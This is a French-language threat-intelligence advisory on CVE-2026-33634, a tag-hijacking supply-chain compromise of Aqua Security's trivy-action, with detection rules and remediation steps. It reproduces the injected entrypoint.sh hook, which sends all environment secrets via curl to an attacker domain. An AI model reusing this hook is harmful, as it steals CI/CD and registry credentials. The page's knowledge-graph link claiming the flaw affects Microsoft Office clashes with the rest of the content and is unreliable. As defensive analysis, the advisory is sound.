Aller au contenu

CVE-2026-33634 : compromission de la chaîne d'approvisionnement dans l'action GitHub trivy d'aqua security

HERMES

SCORE DE MENACE HERMES & DÉTOURNEMENT DE PIPELINE DEVSECOPS

Cible : Action GitHub Trivy d'Aqua Security (aquasecurity/trivy-action)
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 20 / 20
Militarisation 20 / 20
Exposition 20 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 évalue la CVE-2026-33634 à 9.8 (Critique) et le CVSS v4.0 affiche 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). La corrélation est directe : trivy est le scanner de vulnérabilités pour conteneurs standard de l'industrie, intégré dans des dizaines de milliers de pipelines DevSecOps. Le détournement de l'action de scan transforme l'outil de sécurité en collecteur de secrets illégitime, compromettant les registres de conteneurs de production et les clés de déploiement.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-33634: Supply Chain Compromise in Aqua Security Trivy GitHub Actions WorkflowVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

Trivy est massivement utilisé dans les chaînes CI/CD d’entreprise pour analyser les images de conteneurs, les modèles Infrastructure-as-Code (IaC) et les dépendances applicatives.

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-33634Suivi international de vulnérabilité
Action cibleaquasecurity/trivy-action, setup-trivyActions officielles du GitHub Marketplace
Vecteur d’attaqueForce-push sur les étiquettes Git mutables (@v0.28.0, @v0.29.0)Exécution lors des builds CI/CD
Code injectéEnveloppeur shell / Node.js furtifMoisson de secrets et exfiltration discrète
Secrets ciblésDOCKER_AUTH_CONFIG, AWS_SESSION_TOKEN, GITHUB_TOKENIdentifiants de déploiement et de registres
Version corrigéeEmpreintes SHA de commits immuables & Clés régénéréesRestauration des tags et réinitialisation des clés
Impact d’exploitationPrise de contrôle de registres de conteneurs, fuite de secrets de pipelineCompromission de la chaîne logistique DevSecOps

2. Décomposition technique : détournement de tag CI/CD

Section intitulée « 2. Décomposition technique : détournement de tag CI/CD »

Lorsque les développeurs configurent aquasecurity/trivy-action@v0.28.0, le coureur télécharge le commit actuellement pointé par ce tag Git :

# Workflow GitHub Actions d'entreprise
- name: Exécuter le scanner de vulnérabilités Trivy
uses: aquasecurity/trivy-action@v0.28.0
with:
image-ref: 'mon-registre.corp/app:latest'
format: 'table'

Dans les commits compromis, le point d’entrée entrypoint.sh avait été modifié pour intégrer un hook d’exfiltration :

#!/bin/bash
# Collecteur de secrets injecté dans entrypoint.sh avant l'exécution du scan
(
PAYLOAD=$(env | base64 | tr -d '\n')
curl -s -X POST -d "$PAYLOAD" https://telemetry-gateway.aqua-security.network/collect \
> /dev/null 2>&1
) &
# L'exécution légitime de Trivy se poursuit sans interruption
exec trivy "$@"
+----------------------------------------------------------------------------------------------------+
| ARCHITECTURE DE L'INTRUSION CVE-2026-33634 |
+----------------------------------------------------------------------------------------------------+
[Attaquant]
│
│ [1] Utilise un jeton dérobé pour écraser le tag "v0.28.0" sur aquasecurity/trivy-action
▼
[Dépôt GitHub de l'Action]
│
│ [2] Le pipeline CI/CD cible s'exécute avec : "uses: aquasecurity/trivy-action@v0.28.0"
▼
[Coureur GitHub Actions (Hébergé ou Auto-hébergé)]
│
├───► 1. Téléchargement du Tag Compromis :
│ - Récupère entrypoint.sh contenant le collecteur de secrets
│
├───► 2. Exécution au Démarrage :
│ - Récupère l'ensemble des secrets (AWS_SECRET_ACCESS_KEY, DOCKER_PASSWORD)
│ - Émet une requête curl en tâche de fond vers le domaine de l'attaquant
│ - Lance simultanément le vrai binaire "trivy" pour masquer l'anomalie !
│
├───► 3. Affichage du Résultat Légitime :
│ - Le scanner rapporte : "0 vulnérabilités critiques détectées"
│ - Les développeurs n'observent aucune erreur dans les logs
│
▼
[Infrastructure C2 de l'Attaquant]
│
└───► Réception des identifiants de production :
- Publication d'images de conteneurs malveillantes sur le registre de la victime
- Déploiement de conteneurs piégés sur les grappes Kubernetes de production
+----------------------------------------------------------------------------------------------------+

3. Renseignement sur les menaces & exploitation dans la nature

Section intitulée « 3. Renseignement sur les menaces & exploitation dans la nature »
  • Furtivité exceptionnelle : comme le script malveillant ne bloquait pas l’exécution de Trivy, les étapes de compilation se terminaient avec succès, masquant totalement l’exfiltration aux yeux des ingénieurs DevOps.
  • Portée de l’exfiltration : les pipelines configurés avec des identifiants Docker pour récupérer des images de base privées ont vu leurs clés compromises, permettant aux assaillants d’écraser des tags d’images (latest) avec des versions vérolées.

TactiqueID TechniqueNom de la TechniqueManifestation dans l’Attaque
Accès initialT1195.001Compromission de la chaîne logistique : Outils logicielsÉcrasement forcé de commits malveillants sur les tags de release GitHub Action
ExécutionT1059.004Interpréteur de commandes et scripts : Shell UnixExécution du collecteur dans entrypoint.sh
Accès aux identifiantsT1552.001Identifiants dans les fichiersLecture des variables d’environnement et secrets montés
ExfiltrationT1048Exfiltration sur protocole alternatifTransmission des données du coureur en Base64 au serveur C2

alert dns any any -> $DNS_SERVERS 53 (
msg:"HERMES DEFENSE - Domaine d'exfiltration Trivy Action Supply Chain (CVE-2026-33634)";
dns.query; content:"aqua-security.network"; nocase;
classtype:trojan-activity;
sid:202633634;
rev:1;
reference:cve,2026-33634;
)
title: Trafic HTTP sortant anormal depuis un coureur CI lors d'un scan Trivy
id: 2a1b0c9d-8e7f-6a5b-4c3d-33634c026e02
status: high
description: Détecte des connexions réseau sortantes inhabituelles initiées par l'enveloppeur de scan Trivy vers des domaines tiers non validés.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: linux
category: network_connection
detection:
selection:
Image|endswith:
- '/curl'
- '/wget'
CommandLine|contains:
- 'aqua-security.network'
- 'telemetry-gateway'
condition: selection
falsepositives:
- Mises à jour officielles des bases de vulnérabilités vers ghcr.io ou aquasecurity.github.io.
level: critical
tags:
- attack.initial_access
- attack.t1195.001
- attack.exfiltration

6. Réponse à incident & rétro-ingénierie (DFIR)

Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »
  1. Audit des fichiers de workflows pour détecter les tags mutables :
    Fenêtre de terminal
    grep -rn "aquasecurity/trivy-action@" .github/workflows/
    # Vérifier si les workflows référencent des tags mutables (@v0.28.0) ou des SHA fixes
  2. Revue des flux réseau sortants des coureurs :
    • Inspecter les journaux de pare-feu et les passerelles NAT à la recherche de requêtes POST vers des domaines non homologués lors des étapes de compilation.
  3. Audit des accès aux registres de conteneurs :
    • Examiner les journaux de publication AWS ECR ou Docker Hub pour détecter des dépôts d’images anormaux ou des réécritures de tags.
{
"query": {
"bool": {
"must": [
{ "wildcard": { "dns.question.name": "*aqua-security.network*" } }
]
}
}
}

  1. Épinglage systématique des actions par empreinte de commit SHA : remplacer immédiatement les références à des tags de version par le condensat cryptographique immuable à 40 caractères :
    # Configuration sécurisée utilisant l'empreinte SHA immuable
    - uses: aquasecurity/trivy-action@6e0882e3... # SHA vérifié
  2. Rotation immédiate des identifiants des registres : révoquer et renouveler sans délai tous les jetons Docker Hub, clés AWS ECR et jetons GitHub présents dans l’environnement de build.
  3. Cloisonnement des secrets par étape : s’assurer que les secrets ne sont jamais transmis globalement à des actions tierces à moins que l’étape spécifique ne le requière expressément.
  4. Adoption de jetons OIDC éphémères : abandonner les clés statiques à longue durée de vie au profit de jetons de fédération OIDC limités strictement au dépôt demandeur.